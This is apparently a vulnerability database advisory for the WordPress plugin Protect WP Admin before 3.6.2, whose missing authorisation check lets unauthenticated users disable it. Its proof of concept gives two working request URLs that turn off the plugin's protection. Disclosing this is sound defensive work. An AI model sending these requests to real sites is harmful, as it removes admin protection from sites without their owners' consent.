WordPress Plugin Vulnerabilities

Protect WP Admin < 3.6.2 - Unauthenticated Plugin Deactivation

Description

The plugin does not check for authorisation in the lib/pwa-deactivate.php file, which could allow unauthenticated users to disable the plugin (and therefore the protection offered) via a crafted request

Proof of Concept

v < 3.6 - https:/example.com/wp-content/plugins/protect-wp-admin/lib/pwa-deactivate.php?disable_pwa=1

v < 3.6.2 - https:/example.com/?pwa_inactive=1&pwa_ue=admin@domain.com

Affects Plugins

Fixed in 3.6.2

References

Classification

Type
ACCESS CONTROLS
CWE

Miscellaneous

Original Researcher
Krzysztof Zając
Verified
Yes

Timeline

Publicly Published
2021-12-23 (about 2 years ago)
Added
2021-12-23 (about 2 years ago)
Last Updated
2022-04-10 (about 2 years ago)

Other